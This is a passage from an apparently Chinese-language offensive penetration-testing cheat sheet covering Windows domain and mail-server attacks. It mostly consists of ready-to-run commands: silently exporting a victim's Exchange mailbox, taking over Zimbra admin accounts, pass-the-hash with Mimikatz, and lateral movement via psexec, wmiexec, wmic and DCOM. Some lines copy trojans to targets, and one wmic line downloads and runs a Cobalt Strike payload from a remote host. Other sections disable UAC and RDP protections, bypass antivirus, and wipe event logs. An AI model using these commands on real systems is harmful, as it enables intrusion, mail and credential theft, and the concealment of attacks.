'\\HOSTNAME\SHARE\temp.pst' -Force; $date=get-date -format 'MM/dd/yyyy 00:00'; New-
MailboxExportRequest -Name myExport -ContentFilter \"(Received -gt '$date')\" -Mailbox
'mailuser' -FilePath '\\HOSTNAME\SHARE\temp.pst';Start-Sleep -s 120; Remove-
MailboxExportRequest -Identity mailuser\myExport -confirm:$false; exit"
```

源码的解读

```
# 关闭所有的命令回显
@echo off

# 隐藏窗口运行powershell，连接并进入Exchange ManagementShell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -command ".
'C:\Program Files\Microsoft\Exchange Server\V15\bin\RemoteExchange.ps1';Connect-
ExchangeServer -auto -ClientApplication:ManagementShell "

# 为使导出的邮箱信息自动更新且信息不累加，先将之前导出的邮箱信息删除
Remove-Item -Path "C:\Program Files\Common Files\System\temp.pst" -Force

# 按照邮箱导出命令中时间参数的格式要求，获取系统当前时间
$date=get-date -format "MM/dd/yyyy 00:00"


# 获取mailuser用户当天接收的邮件
New-MailboxExportRequest -Name myExport -ContentFilter {(Received -gt $date)} -Mailbox
"mailuser" -FilePath "\\HOSTNAME\SHARE\temp.pst"

# 延时一段时间，单位为秒
```

```
Start-Sleep -s 120

# 删除邮箱导出的通知信息
# -confirm:$false：不询问是否删除
Remove-MailboxExportRequest -Identity mailuser\myExport -confirm:$false

exit
```

PS:
(1) 在Remove-MailboxExportRequest执行前要确保计划任务的工作均已完成，否则可能导致误删仍在运行中的任务，所以这里用Start-Sleep延时一段时间再删除；
(2) 在一句指令中`'-ContentFilter'`后原本的参数`{(Received -gt $date)}`要变成`"(Received -gt '$date')"`，因为外层已经用了""，所以这里要再加上转义符\，否则会出错。

得到邮箱凭证信息后批量操作

```
# https://github.com/sensepost/thumbscr-ews/blob/master/USAGE.md
thumbscr-ews yaml -d test.yml
# An example YAML configuration for thumbscr-ews.

password: passw0rd
user_agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7145; Pro)
username: user@domain.com

Sample configuration file written to: test.yml
```

Zimbra

1.通过xpath从网页中直接获取数据的方式来导出账号

```
// 从部门位置将联系人信息导出
var table_length =
$x("/html/body/div[4]/div[37]/table/tbody/tr[2]/td/div/div[3]/div/div/div/table").length;
for (var i = 1; i<=table_length; i++){
  var express_one =
"/html/body/div[4]/div[37]/table/tbody/tr[2]/td/div/div[3]/div/div/div/table["+i+"]/tbody/
tr/td[2]/div/span";
  var express_two = $x(express_one)[0].innerText;
  console.log(express_two);
}

// 从打印联系人位置将联系人信息导出

var table_length = $x("/html/body/div/table[2]/tbody/tr/td/table/tbody/tr").length;
for (var i = 1; i<=table_length; i++){
  var express_x =
```

```
"/html/body/div/table[2]/tbody/tr/td/table/tbody/tr["+i+"]/td[1]/table/tbody/tr[2]/td/tabl
e/tbody/tr[2]/td[2]/table/tbody/tr/td/a";
  var express_two = $x(express_one)[0].innerText;
  console.log(express_two);
  express_three =
"/html/body/div/table[2]/tbody/tr/td/table/tbody/tr["+i+"]/td[2]/table/tbody/tr[2]/td/tabl
e/tbody/tr[2]/td[2]/table/tbody/tr/td/a";
  express_four = $x(express_three)[0].innerText;
  console.log(express_four);
}
```

2. 获取邮件服务器管理员权限之后的相关操作

```
# 列出管理员账号
[zimbra@mail ~]$ zmprov gaaa
admin@mailtest.tk

# 列出所有账号
[zimbra@mail ~]$ zmprov -l gaa

# 修改管理员密码 -----可以通过web页面更改
[zimbra@mail ~]$ zmprov sp admin@mailtest.tk portalportal
管理员账号 新密码

# 查看系统参数
可以通过zmlocalconfig -s命令查看系统的参数
$ postconf //查看postfix的所有配置
$ zmlocalconfig //查看各种组件的配置信息
$ zmlocalconfig -s|grep zimbra_ldap_userdn           //查看zimbra帐号在LDAP中的DN
$ zmlocalconfig -s|grep zimbra_ldap_userdn //查看zimbra帐号在LDAP中的密码
$ zmlocalconfig -s|grep zimbra_mysql //查看mysql的配置信息

# 列出指定用户详细信息:
[zimbra@mail ~]$ zmprov -l ga testuser@test.com

# 列出所有的邮件组列表:
[zimbra@mail ~]$ zmprov gadl

# 导出某个邮件组的所有成员列表:
[zimbra@mail ~]$ zmprov gdlm groupname@test.com
或
[zimbra@mail ~]$ zmprov gdl groupname@test.com | grep zimbraMailForwardingAddress: | awk
{'print $2'}

# 忘记admin管理员密码重置:
[zimbra@mail ~]$ zmprov sp admin@test.com 123456
```

```
# 添加管理员账号:
zmprov ca   testadmin@test.com  password  zimbraIsAdminAccount TRUE

# 升级现有账号为管理员:
zmprov ma  test@test.com zimbraIsAdminAccount  TRUE

# 添加普通账号:
zmprov ca  test@test.com password

# 删除普通账号:
zmprov da  test@test.com

# 重设密码:
zmprov sp  test@test.com pawwsord

# 查询mysql密码:
zmlocalconfig -s  |grep pass |grep mysql

# 查询邮箱使用情况:
zmprov gqu  mail.test.com

# 查询指定邮箱详细信息:
zmprov gmi  test@test.com

# 查看最大系统邮件大小:
postconf message_size_limit
```

其他

域内主机提权

[SharpAddDomainMachine](https://github.com/Ridter/SharpAddDomainMachine

)

```
SharpAddDomainMachine.exe domain=domain.com dc=192.168.1.1 tm=target_machine_name
ma=machine_account mp=machine_pass

domain: Set the target domain.
dc:     Set the domain controller to use.
```

```
tm:     Set the name of the target computer you want to exploit. Need to have write access
to the computer object.
ma:     Set the name of the new machine.(default:random)
mp:     Set the password for the new machine.(default:random)
```

攻击成功后使用如下命令来获取system权限

```
getST.py -dc-ip dc_ip domain.com/ma:mp -spn cifs/tm.domain -impersonate administrator
export KRB5CCNAME=administrator.ccache
psexec.py domain/administrator@tm.domain -k -no-pass
```

域内的匿名访问共享文件

Invoke-BuildAnonymousSMBServer

```
Set-ExecutionPolicy Bypass
# 开启
Invoke-BuildAnonymousSMBServer -Path D:\smbpath -Mode Enable
# 关闭
Invoke-BuildAnonymousSMBServer -Path D:\smbpath -Mode Disable
# 开启后访问 \\10.10.10.1\smb\smbpath 即可
```

AnonymousSMBServer

```
# 开启匿名SMB
AnonymousSMBServer.bat enable c:\test
# 关闭匿名SMB
AnonymousSMBServer.bat disable c:\test
```

远程执行命令并将结果写入共享目录中(.bat)

```
@echo off
set suffix=.txt
for /F %%i in ('hostname') do ( set computername=%%i%suffix% )
for /F "tokens=*" %%i in ('ipconfig') do ( echo %%i >>
10.10.10.1\smb\smbpath\%computername% )
```

ping 判断存活(.bat)

```
for /f "delims=" %%i in (live.txt) DO (
        for /f "tokens=*" %%j in ('ping -n 1 %%i') do (
                echo %%j>> test.log
```

```
        )
)
```

输出b盘所有包含xxxx的文件名

```
for /r b:/ %i in (*xxxx*) do @echo %i >> 1.txt
```

Everything 可以对域内主机文件进行检索

安装后需要清除痕迹的地方

```
%AppDATA%
```

TIPS

《域渗透——Dump Clear-Text Password after KB2871997 installed》

《域渗透——Hook PasswordChangeNotify》

> 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

《域渗透——Local Administrator Password Solution》

> 域渗透时要记得留意域内主机的本地管理员账号

《域渗透——利用SYSVOL还原组策略中保存的密码》

远程访问与命令执行

1. 共享文件相关

Windows默认开启`IPC$`、`Admin$`、`C$`等系统共享，本地Administrators组内成员有完全控制权，如果`net share`查看默认共享被关闭，可以通过修改注册表项再次将其打开：（系统重启后生效）

```
# 开启硬盘各分区（C$/D$/...）共享
reg add "HKLM\SYSTEM\CurrentControlSet\Services\lanmanServer\Parameters" /v
AutoShareServer /t REG_DWORD /d 1 /f

# 开启admin$共享
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\lanmanServer\Parameters" /v AutoShareWks
/t REG_DWORD /d 1 /f

# 开启IPC$共享
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0
/f
```

访问的话主要是两种方式:

1. `net use`

```
net use \\ip\ipc$ password /user:domain\username
dir \\ip\c$
```

2. 文件夹直接访问

在文件夹路径或者运行窗口中直接输入共享文件路径`\\ip\<path>`

2. 远程执行命令

at

简述: 创建计划任务的命令，而且只在2003及以下的版本使用。用途:1.用at命令将命令执行后写入txt再用type读取;2.利用at计划任务命令上线cs或者msf

```
# 执行命令的方式
# 0.建立IPC链接/用域管账号/本地注入域管hash
net use \\<靶机ip>\ipc$ password /user:administrator
# 1.确定目标主机时间
net time \\<靶机ip>
# 2.执行whoami命令
at \\<靶机ip> 16:40:00 cmd.exe /c "whoami > c:\result.txt"
# 3.type读取执行结果
type \\<靶机ip>\c$\result.txt
# 4.删除计划任务
# 这里的1为创建计划任务时候的ID
at \\<靶机ip> 1 /delete
```

```
# 上线cs/msf方式
# 0.建立IPC链接/用域管账号/本地注入域管hash
net use \\<靶机ip>\ipc$ password /user:administrator
# 1.确定目标主机时间
net time \\<靶机ip>
```

```
# 2.copy 生成的artifact到目标下面
copy <木马在本机位置> \\<靶机ip>\c$
# 3.执行
at \\<靶机ip> <启动时间> <木马在靶机的位置>
# 4.删除计划任务
# 这里的1为创建计划任务时候的ID
at \\<靶机ip> 1 /delete
```

PS: 使用 Mimikatz 进行hash传递攻击/本地注入凭证

```
privilege::debug
sekurlsa::pth /user:username /domain:test.domain /ntlm:afc3417bbb519afffssa7416fbb6556aa
```

atexec

```
# 半交互式命令
python atexec.py -hashes [LMhash]:NThash domain/username@ipaddress "command"
python atexec.py domain/username:password@ipaddress "command"
```

psexec

```
# 交互式命令
python psexec.py -hashes [LMhash]:NThash username@ipaddress
python psexec.py domain/username:password@ipaddress

# 半交互式命令
python psexec.py -hashes [LMhash]:NThash username@ipaddress "command"
python psexec.py domain/username:password@ipaddress "command"
```

```
# 还可以使用MSF中的模块
use exploit/windows/smb/psexec
set smbdomain test.domain
set smbuser administrator
set smbpass <LMhash>:<NThash>
set rhosts 10.10.1.100
run
```

But psexec其实是Sysinternals Suite中的工具，一些情况下可以免杀，命令使用如下

```
# 获取远程主机的cmd shell
psexec \\10.10.1.2 -u administrator -p password cmd

# 以SYSTEM身份交互式运行注册表编辑器，使远程主机看到程序运行界面
# -i：在远程主机交互式运行程序
```

```
# -s：以SYSTEM身份运行远程主机程序
psexec \\10.10.1.2 -u administrator -p password -s -i regedit.exe

# 以SYSTEM身份在远程主机后台运行test.exe，命令执行后返回
# -d：远程主机程序执行后立刻返回，无需等待程序运行结束
psexec \\10.10.1.2 -u administrator -p password -s -d c:\test.exe
```

wmiexec

```
# 交互式命令
python wmiexec.py -hashes [LMhash]:NThash username@ipaddress
python wmiexec.py domain/username:password@ipaddress

# 半交互式命令
python wmiexec.py -hashes [LMhash]:NThash username@ipaddress "command"
python wmiexec.py domain/username:password@ipaddress "command"
```

smbexec

```
# 交互式命令
python smbexec.py -hashes [LMhash]:NThash username@ipaddress
python smbexec.py domain/username:password@ipaddress
```

PS: 以上几款工具如果想使用二进制版本的，可以参考 OffensivePythonPipeline

wmic

```
# 在目标主机上创建进程，新建用户
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" process call create 'cmd.exe
/c net user test$ P@ssw0rd /add'

# 在目标主机上创建进程，注册表开启远程桌面并开启RDP远程桌面服务
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" process call create 'cmd.exe
/c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
/t REG_DWORD /d 1 /f'
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" process call create 'cmd.exe
/c net start TermService'

# 在目标主机上终止进程

wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" process where
name="explorer.exe" call terminate

# 获得目标机上的进程信息
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" process list brief
```

```
# 获得目标机上安装的软件信息
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" product get name

# 下载并执行CS的artifact
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass" PROCESS call create
"powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))"

# 获得目标机上安装的杀软信息
wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass"
/namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,
pathToSignedProductExe

wmic /node:"10.10.1.10" /user:"domain\name" /password:"pass"
/Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get *

# 查看所有用户信息
wmic useraccount list full

# 查看进程的位置
wmic process where name="MobaXterm.exe" get ExcutablePath

# 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn

#查看自启动程序列表
wmic startuo get command,caption

#查看本机服务
wmic service list brief
```

PS: 只要去掉 `/node`、`/user`、`/password` 就是本地执行

WMIHACKER

```
# 执行命令并获取回显
cscript WMIHACKER.vbs /cmd 10.10.1.10  domain\username "password" "tasklist /svc" 1
# 上传文件
cscript WMIHACKER.vbs /upload 10.10.1.10  domain\username "password"
"c:\windows\temp\artifact.exe" "c:\windows\temp\artifact.exe"
```

```
# shell模式
cscript WMIHACKER.vbs /shell 10.10.1.10 domain\username "password"
```

PS: 不需要445端口

Powershell remoting

实现在目标主机远程执行程序后，可对目标主机开放powershell remoting，用作远程连接
条件：
远程连接会有痕迹
本机要开启winRM服务

命令汇总：

```
# 列出所有远程信任主机
powershell Get-Item WSMan:\localhost\Client\TrustedHosts

# 设置信任所有主机
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

# 设置允许运行ps1文件
powershell Set-ExecutionPolicy Unrestricted

# 执行test.ps1文件
powershell -ExecutionPolicy Bypass -File test.ps1
```

ps1文件如下：

```
$UserName = "test"
$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText —
Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
```

powershell版本的wmiexec实现 Link

```
wmiexec.ps1 192.168.1.2 Administrator ABC123456 whoami smb - SMB Read Command
wmiexec.ps1 192.168.1.2 Administrator ABC123456 whoami reg - Reg Read Command
wmiexec.ps1 192.168.1.2 Administrator ABC123456 whoami read - Reread the diary
```

DCOM

```
# 0. 先要建立连接
net use \\192.168.0.2 domain123! /u:test2

# 然后以下三种方法根据选择一种即可
```

```
# 然后以下二种方法根据选择一种即可
# 1.调用MMC20.Application
$com =
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.0.2"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

# 2. 调用'9BA05972-F6A8-11CF-A442-00A0C90A8F39'
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c
calc.exe","c:\windows\system32",$null,0)

# PS: 以上两种方式适用于Win7-Win10

# 3. 调用'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
# 特点:
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c
calc.exe","c:\windows\system32",$null,0)

# PS: 该方法不适用于Win7，适用于Win10和Server2012 R2
```

参考: 利用DCOM在远程系统执行程序

Winrm

```
# 获取交互式的powershell
./evil-winrm.rb -i 192.168.81.185 -u administrator -p 123456
./evil-winrm.rb -i 192.168.81.185 -u administrator@DomainName -p 123456
./evil-winrm.rb -i 192.168.81.185 -u administrator@DomainName -H ntlm-hash
```

SharpWmi

不依赖139和445端口，而是基于135端口来进行横向移动的工具,具有执行命令和上传文件功能

```
sharpwni.exe 192.168.2.3 administrator 123 cmd whoami
sharpwni. exe 192. 168.2.3 administrator 123 upload beacon.exe c:\beacon.exe

# pth需要配合mimikatz使用
sharpwni.exe pth 192.168.2.3 cmd whoami
```

```
sharpwmi.exe pth 192.168.2.3 upload beacon.exe c:\beacon.exe
```

goWMIExec

纯golang实现，可以在linux环境下进行，不需要impacket的支持

```
gowmiexec -target "10.10.1.10:135" -username "Administrator" -password "password" -command
'C:\Windows\system32\cmd.exe /c echo test'
```

SCShell

```
# SCShell.exe target service payload domain username password
scshell.exe windowsdesktop01 XblAuthManager "C:\windows\system32\cmd.exe /c echo 'lateral
hello' > c:\temp\lat.txt" spotless offense 123456
```

补充: 关于UAC限制 !!

UAC是从Windows Vista开始引入的安全特性，为了防止回环攻击和恶意软件，UAC默认对网络共享访问有如下限制：

- 对于本地用户，只有用administrator (SID 500) 远程访问网络共享时可以获取完整的管理员权限，而本地管理员组的其他成员无法获取完整的管理员权限，无法进行远程管理。
- 对于域用户，所有域管理员组的成员在访问网络共享时都可以获取完整的管理员权限，不受UAC限制。

可以通过修改注册表项禁用UAC限制，修改后立即生效，无需重启：

```
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

补充: RPC_Denied问题解决

```
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

3. 远程桌面(RDP)相关操作

3.1 基本命令

```
#远程桌面连接历史记录
cmdkey /l

# 查看RDP服务是否开启，1关闭，0开启
```

```
# 查看RDP服务是否开启：1关闭，0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections

# 找到对应服务进程PID的方式查看RDP服务是否开启，并通过PID查找对应的端口号
tasklist /svc | find "TermService"
netstat -ano | find "3389"    # 找到进程对应的端口号

# 打开远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 0 /f

# 配置防火墙，设置为允许远程桌面连接
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in
localport=3389 action=allow

# 开启RDP远程桌面服务
net start TermService

# 关闭远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 1 /f

# 查看远程桌面端口（十六进制）
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
PortNumber

# 修改远程桌面端口，需要在services.msc中重启Remote Desktop Services服务
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
PortNumber /t REG_DWORD /d 38389 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v
PortNumber /t REG_DWORD /d 38389 /f

# 禁用不允许空密码远程访问
reg add "HKLM\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0
/f

# /v：要添加的注册表键的名称
# /t：要添加的注册表类型
# /f：覆盖不提醒
# /d：添加的值
```

3.2 多用户登录问题

与Windows Server多用户环境不同，Windows 7/8/8.1/10 等个人机默认都是单用户环境，同一时间只能有一个用户在线，可以通过以下两种方法更改，使其可以多用户同时登录：

1. 通过Mimikatz

1. 通过Mimikatz

支持: win7-2008

```
mimikatz "privilege::debug" "ts::multirdp" "exit"
```

运行成功后提示`"TermService" service patched`，其原理是修改`C:\Windows\System32\termsrv.dll`，注意这种方法在主机重启后失效。

2. RDPWrap

支持: Win Vista - Win 10

```
# 安装即可启用功能
RDPWInst.exe -i is
RDPConf 可以开启一个账户多个session在线，但是需要图形化操作
# 卸载
RDPWInst.exe -u
```

重启后依然有效。

注意：多用户之间可以保持同时在线，而同一用户在同一时间只能保持一种在线状态。如果某一用户已经本地登录，再使用这个用户进行RDP登录，则会使本地登录掉线并切换到锁屏；而使用其他用户RDP登录，已经本地登录的用户是不受影响的。

3.3 PTH 登录RDP桌面

在目标机上手动开启 -- 通过修改注册表的方式开启目标主机的 Restricted Admin Mode，值为 0 代表开启，值为 1 代表关闭

PS: Windows 8.1 和 Windows Server 2012 R2 上默认开启

```
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD
/d 00000000 /f

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# 查看是否成功开启
```

攻击机上使用 Mimikatz 进行哈希传递

```
privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony.org
/ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
```

PS: 用户需要在管理员组或者远程桌面组，不在就使用下面命令添加

```
# 添加用户test123到管路员组
net localgroup administrators test123 /add
# 添加用户test123到远程桌面组
net localgroup "Remote Management Users" test123 /add
```

3.4 RDP 登录情况查询

1. 在线查询

```
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8,
'|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP, EXTRACT_TOKEN(Strings, 19,
'|') AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP
NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
```

```
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']
and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]"
```

2. 导出离线查询

```
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8,
'|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP ,EXTRACT_TOKEN(Strings, 19,
'|') AS Sport INTO RdpLoginSuccess.csv FROM security.evtx WHERE EventID = '4624' AND
SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
```

参考: https://paper.seebug.org/1043/

3.5 认证错误问题(CredSSP)

有时发现用正确的用户凭证访问远程桌面会出现类似以下的报错提示：

```
An authentication error has occurred.
The function requested is not supported.

Remote computer: <hostname>
This could be due to CredSSP encryption oracle remediation.
```

这是由于继CVE-2018-0886漏洞之后，微软发布了关于CredSSP认证的更新补丁，使用CredSSP认证 (如RDP) 的客户端/服务端必须同时更新补丁才能正常使用，否则登录时就会出现以上的报错提示，这时要正常使用RDP连接需要在未更新补丁的主机上更新补丁，或者在已更新补丁的机器上作以下更改：

方法一：组策略设置

gpedit.msc打开组策略配置，在Computer Configuration -> Administrative Templates -> System -> Credentials

gpedit.msc打开组策略配置，在Computer Configuration -> Administrative Templates -> System -> Credentials Delegation中找到Encryption Oracle Remediation，默认为未配置，需要将其启用，防护级别改为 Vulnerable，应用并保存即可正常连接。如果组策略中没有此项，则可以直接修改注册表，如方法二。

方法二：注册表设置

在本机修改注册表后需要重启生效：

```
reg add
"HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /v
AllowEncryptionOracle /t REG_DWORD /d 2 /f
```

或者可以选择在目标机上关闭鉴权模式，0代表关闭，1代表开启

```
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
UserAuthentication /t REG_DWORD /d 0
```

IoT相关

1. 路由器 routersploit

2. 打印机 PRET

3. IoT Exp https://www.exploitee.rs/

4. 防火墙相关操作

4.1 fortigate常用命令

```
## 内置执行系统命令的隐藏命令  https://zhuanlan.zhihu.com/p/85682076

fnsysctl  ls

## 接口信息

 (root) # show system interface

 (root) # show system interface port16

## 查看当前网络链接列表

 (root) # get system session list

## ping

execute ping-options source 172.16.1.1
```

```
execute ping 192.168.28.254

## arp

 (root) # get system arp

## Address

show firewall address
```

5. 相关

OWASP-Nettacker
isf
icsmaster

6. SNMP

6.1 snmpwalk

```
snmpwalk.exe -r:10.10.10.10 -c:public -v:2c -os:.1.3.6.1.2.1 -op:.1.3.6.1.2.65535 -q

系统参数（1.3.6.1.2.1.1）
网络接口（1.3.6.1.2.1.2）

#查版本：
snmpwalk.exe -r:10.10.10.10 -c:public -os:.1.3.6.1.2.1.1.1 -op:.1.3.6.1.2.1.1.2

#网络信息：
snmpwalk.exe -r:10.10.10.10 -c:public -os:.1.3.6.1.2.1.2 -op:.1.3.6.1.2.1.8

#ip:
snmpwalk.exe -r:10.10.10.10 -c:public(团体名) -os:.1.3.6.1.2.1.4.20.1.1 -
op:.1.3.6.1.2.1.4.20.2.1


#批量扫描检测：
#bat：
@echo off
for /f %%a in (ip.txt) do (
    @echo %%a scaning
    @echo IP : %%a >> r.txt
```

```
    s.exe -r:%%a -c:public -os:.1.3.6.1.2.1.4.20.1.1 -op:.1.3.6.1.2.1.4.20.2.1 -t:20 >>
r.txt
)
```

6.2 snmpbulkwalk

```
#r 重试次数
-t 超时（s）
.\snmpbulkwalk.exe -v 2c(snmp版本) -c private -r 3 -t 60 10.10.10.10

#网络配置相关
.\snmpbulkwalk.exe -v 2c -c private -r 3 -t 60 10.10.10.10 .1.3.6.1.2.1

#ip相关
.\snmpbulkwalk.exe -v 2c -c private -r 3 -t 60 10.10.10.10 .1.3.6.1.2.1.4

#ip地址
.\snmpbulkwalk.exe -v 2c -c private -r 3 -t 60 10.10.10.10 .1.3.6.1.2.1.4.20.1.1

#抓取所有数据
.\snmpbulkwalk.exe -v 2c -c private -r 3 -t 60 10.10.10.10  .1.3.6.1

#批量扫描检测：
#bat：
@echo off
color a
for /f %%a in (i.txt) do (
    @echo %%a scaning
    @echo IP : %%a >> r.txt
    snmpbulkwalk  -v 2c -c private -r 3 -t 60 %%a .1.3.6.1.2.1.4.20 >> r.txt
)
```

中间人

- Cain
- Ettercap
- Responder
- MITMf

- MITMf
- 3r/MITMf)

规避杀软及检测

检测是否存在杀软

https://i.hacking8.com/tiquan/

Bypass Applocker

UltimateAppLockerByPassList
https://lolbas-project.github.io/

BypassAV

- Empire
- PEspin
- Shellter
- Ebowla
- Veil
- PowerShell
- Python
- 代码注入技术Process Doppelgänging
- Disable-Windows-Defender
- Backstab 直接kill掉AV的进程

数据处理

常用正则表达式

匹配邮箱aaa.bbb@gmail.com.cn

```
([a-zA-Z0-9][-|_|\.])*[a-zA-Z0-9]+\.([a-zA-Z0-9][_|\.])*[a-zA-Z0-9]+@([a-zA-Z0-9][-|_|\.])*[a-zA-Z0-9]+\.([a-zA-Z0-9][-|_|\.])*[a-zA-Z0-9]+\.((?!js|css|jpg|jpeg|png|ico)[a-zA-Z]{2,}))
```

IP地址匹配

```
((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}
```

借助sublime去重

```
# 适用正则匹配搜索模式搜索
```

```
^(.+)$[\r\n](^\1$[\r\n]{0, 1})+
# 全部替换为下
\1\n
```

linux计算字符hash

```
echo -n 'test123'|md5sum|cut -d ' ' -f1
cc03e747a6afbbcbf8be7668acfebee5
```

一键排序并统计数目

```
cat hash_pass.txt | sort -n | uniq -c | sort -n
```

PS: 常用于统计高频密码

Excel的两个表格按照某一列数据进行匹配

主要用到Excel中的如下公式

```
=VLOOKUP(A86:A184,Sheet1!A85:B14854,2,FALSE)
```

参考: Excel的两个表格按照某一列数据进行匹配

痕迹清理

Windows日志清除

Windows日志记录基本概念

Windows的自身的日志记录由`svchost.exe`的某几个线程完成，记录的日志首先被存放在内存中，而后，由`wevutil.exe`工具将其解析为xml格式的文件，最后这些日志文件被日志查看器（右键计算机打开管理后找到Event Viewer）所显示并操作，且其结构为时间、地点、用户和操作。

这些xml在日志查看器中分为很多类别，最常见的三种是System、Security和Application，具体文件存放在：

```
%SystemRoot%\System32\Winevt\Logs\System.evtx
%SystemRoot%\System32\Winevt\Logs\Security.evtx
%SystemRoot%\System32\Winevt\Logs\Application.evtx
```

这些日志在注册表中的键为：

```
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
```

其他常见的日志通常还有应用程序日志、DNS服务器日志、FTP日志、WWW日志和Scheduler服务日志，具体文件的路径一般为:

```
%systemroot%\system32\config\AppEvent.EVT
%systemroot%\system32\config  # 默认文件大小512KB
%systemroot%\system32\logfiles\msftpsvc1\ # 默认每天一个日志
%systemroot%\system32\logfiles\w3svc1\ # 默认每天一个日志
%systemroot%\schedlgu.txt
```

查看日志

获取日志分类列表：

```
wevtutil el
```

获取单个日志类别的统计信息：

```
C:\> wevtutil gli "windows powershell"
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1
```

查看指定类别最近10条日志的具体内容：

```
wevtutil qe /f:text "windows powershell" /c:10 /rd:true
```

删除日志

删除单个日志类别的所有信息

```
wevtutil cl "windows powershell"
wevtutil cl system
```

```
wevtutil cl application
wevtutil cl security
```

使用powershell删除：

```
Powershell -c "&{Clear-Eventlog -Log Application.System.Security}"
```

或：

```
Powershell -c "Get-WinEvent -ListLog Application.Setup.Security -Force | % {Wevtutil.exe
cl $_.Logname}"
```

一键删除脚本为

```
@del c:\%systemroot%\system32\config\*.evt
@del c:\%systemroot%\system32\logfiles\*.*
@del c:\%systemroot%\system32\*.log
@del c:\%systemroot%\system32\*.txt
@del c:\%systemroot%\system32\Winevt\Logs\*.evt
@del c:\%systemroot%\*.evt
@del c:\%systemroot%\*.log
@del cl.bat
```

创建日志

```
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
```

使用msf清除Windows日志

```
meterpreter> run clearlogs
meterpreter> clearev
```

日志过滤

在使用wevtutil工具查询（参数：qe）或导出（参数：epl）日志时可以使用参数`/q`实现过滤，同时，结合下文清理远程连接日志记录的方法二，也可实现指定过滤条件的日志清除（注意条件取反）。

指定事件ID（使用xml格式才可以看到对应的EventRecordID）：

```
wevtutil qe Security /f:text /q:"*[System [(EventRecordID=2067)]]"
```

